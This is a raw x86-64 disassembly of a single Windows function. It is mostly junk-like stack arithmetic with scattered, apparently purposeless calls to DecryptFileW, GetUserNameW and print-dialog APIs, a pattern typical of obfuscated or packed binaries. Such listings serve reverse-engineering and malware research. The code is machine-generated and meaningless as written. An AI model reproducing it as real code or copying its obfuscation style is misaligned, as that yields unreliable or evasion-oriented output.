mov rax, qword [rsp + 0x196e0]
mov edx, dword [rax]
movzx ecx, word [rsp + 0x35c0]
call fcn.14028d610
jmp 0x14028cbc9
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0xb404]
movzx r8d, word [rsp + 0x35ac]
mov rax, qword [rsp + 0x19728]
mov edx, dword [rax]
movzx ecx, word [rsp + 0x18d8]
call fcn.14028d610
movzx eax, byte [rsp + 0x783]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x787], al
movzx eax, word [rsp + 0x2964]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x35c4], ax
mov eax, dword [rsp + 0xcd10]
mov ecx, dword [rsp + 0xcda8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
mov edx, 0x87
mov rcx, qword [rsp + 0x2aef8]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0xcd8c], eax
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [rsp + 0x786]
sar eax, cl
mov byte [rsp + 0x55e], al
movsx eax, word [rsp + 0x35b4]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x35a4], ax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd1c], eax
mov eax, dword [rsp + 0xcd94]
mov ecx, dword [rsp + 0x8754]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd98], eax
movzx eax, word [rsp + 0x18d8]
movzx ecx, word [rsp + 0x35c4]
xor eax, ecx
mov word [rsp + 0x35cc], ax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x196e0]
mov dword [rcx], eax
mov edx, 0x87
mov rcx, qword [rsp + 0x2aef8]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x19680], eax
movzx edx, byte [rsp + 0x55e]
movzx ecx, byte [rsp + 0x55e]
call fcn.14028d470
mov rax, qword [rsp + 0x19780]
mov ecx, dword [rsp + 0xc224]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd98], eax
mov rax, qword [rsp + 0x19780]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcd58], eax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcda8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd4c], eax
mov eax, dword [rsp + 0xcd1c]
mov ecx, dword [rsp + 0x8754]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd94], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov ecx, dword [0x1402ad634]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8754], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xbc10], eax
mov eax, dword [rsp + 0xcd10]
mov ecx, dword [rsp + 0xcd4c]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad630], eax
jmp 0x14028cd8d
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd3c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8754], eax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcd10], eax
lea rdx, [rsp + 0xcd10]
mov rcx, qword [rsp + 0x2af00]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0xcd60], eax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x785]
movzx ecx, byte [rsp + 0x784]
add eax, ecx
mov byte [rsp + 0x783], al
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rax]
call fcn.14028d430
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rsp + 0xbc10]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8754], eax
jmp 0x14028ceeb
mov eax, dword [rsp + 0xcce4]
movzx ecx, al
mov eax, dword [rsp + 0xcd10]
shl eax, cl
mov dword [rsp + 0xcd4c], eax
mov eax, dword [rsp + 0xcd1c]
mov rcx, qword [rsp + 0x196b8]
mov qword [rsp + 0x2af08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2af08]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x91e8], eax
mov eax, dword [rsp + 0xcd1c]
mov ecx, dword [rsp + 0x8754]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd10]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcce4], eax
mov r9d, dword [rsp + 0x91e8]
mov r8d, dword [0x1402ad634]
mov rax, qword [rsp + 0x196b8]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x8754]
call fcn.14028d4f0
mov edx, 0x76
mov rcx, qword [rsp + 0x2af00]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x19680], eax
mov edx, dword [rsp + 0xccc0]
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rax]
call fcn.14028d570
movzx eax, word [rsp + 0x1a18]
movzx ecx, word [rsp + 0x35a8]
sub eax, ecx
mov word [rsp + 0x18d8], ax
lea rdx, [rsp + 0x196d8]
mov rcx, qword [rsp + 0x2af10]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0xcd8c], eax
movzx eax, byte [rsp + 0x785]
movzx ecx, byte [0x1402acb3a]
sub eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xcd4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcce4], eax
call fcn.14028d790
mov eax, dword [rsp + 0xccc0]
mov rcx, qword [rsp + 0x196b8]
mov qword [rsp + 0x2af18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2af18]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcd1c], eax
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [0x1402bf78c]
sar eax, cl
mov byte [rsp + 0x55e], al
call fcn.14028d790
jmp 0x14028d054
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
movzx edx, byte [rsp + 0x782]
movzx ecx, word [rsp + 0x35a8]
call fcn.14028d660
movsx eax, word [rsp + 0x35b4]
movsx ecx, word [rsp + 0x35a4]
and eax, ecx
mov word [rsp + 0x35ac], ax
movsx eax, byte [rsp + 0x55e]
movsx ecx, byte [0x1402bf78c]
sub eax, ecx
mov byte [rsp + 0x782], al
movzx eax, byte [0x1402acb3a]
movzx ecx, byte [rsp + 0x784]
sar eax, cl
mov byte [rsp + 0x666], al
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x784]
sub eax, ecx
mov byte [rsp + 0x785], al
mov eax, dword [rsp + 0xcd10]
mov ecx, dword [rsp + 0xcce4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd4c], eax
mov eax, dword [rsp + 0x91e8]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x19728]
mov r9d, dword [rax]
movzx r8d, byte [rsp + 0x55e]
mov rax, qword [rsp + 0x196b8]
mov edx, dword [rax]
movzx ecx, byte [rsp + 0x782]
call fcn.14028d5c0
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xccc0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
mov eax, dword [rsp + 0xcd3c]
mov rcx, qword [rsp + 0x196b8]
mov qword [rsp + 0x2af20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2af20]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad634], eax
movzx edx, byte [rsp + 0x782]
movzx ecx, word [rsp + 0x1a18]
call fcn.14028d660
movsx eax, word [rsp + 0x35ac]
movsx ecx, word [rsp + 0x35b4]
xor eax, ecx
mov word [rsp + 0x35a4], ax
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [0x1402bf78c]
sar eax, cl
mov byte [rsp + 0x55e], al
jmp 0x14028d1a9
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acb3a]
add eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0xcd4c], eax
mov rax, qword [rsp + 0x196b8]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x91e8]
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rax]
call fcn.14028d700
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xccc0], eax
mov eax, dword [rsp + 0xcd3c]
mov ecx, dword [rsp + 0xccc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [0x1402ad630]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd10], eax
jmp 0x14028d20f
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [0x1402bf78c]
sub eax, ecx
mov byte [rsp + 0x55e], al
lea rcx, [rsp + 0x2bf40]
call qword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [rsp + 0xcdc4], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [0x1402ad630]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
movzx edx, byte [rsp + 0x782]
movzx ecx, word [rsp + 0x2964]
call fcn.14028d660
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x196e0]
mov r9d, dword [rax]
movzx r8d, word [rsp + 0x35a4]
mov rax, qword [rsp + 0x19710]
mov edx, dword [rax]
movzx ecx, word [rsp + 0x2964]
call fcn.14028d610
jmp 0x14028d2c4
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd1c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xccc0], eax
movzx eax, word [rsp + 0x35a8]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x196e0]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x196b8]
mov r8d, dword [rax]
movzx edx, word [rsp + 0x1a18]
mov rax, qword [rsp + 0x196d8]
movzx ecx, byte [rax]
call fcn.14028d3e0
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
add eax, 0x381
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
sub eax, 0x153
mov dword [rsp + 0xccc0], eax
jmp 0x14028d348
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
and eax, 0x4044
mov dword [rsp + 0xccc0], eax
call fcn.14028d790
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
sar eax, 0xc
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
sub eax, 0x5e5f
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
add eax, 0xd96
mov dword [rsp + 0xccc0], eax
mov eax, dword [rsp + 0xccc0]
mov dword [rsp + 0x20], eax
mov r9d, 0x88
mov r8b, 0x91
mov rax, qword [rsp + 0x196b8]
mov edx, dword [rax]
mov cl, 0x63
call fcn.14028d5c0
mov eax, dword [rsp + 0x146ec]
mov rcx, qword [rsp + 0x334d0]
xor rcx, rsp
call fcn.14028dba0
add rsp, 0x334e8
ret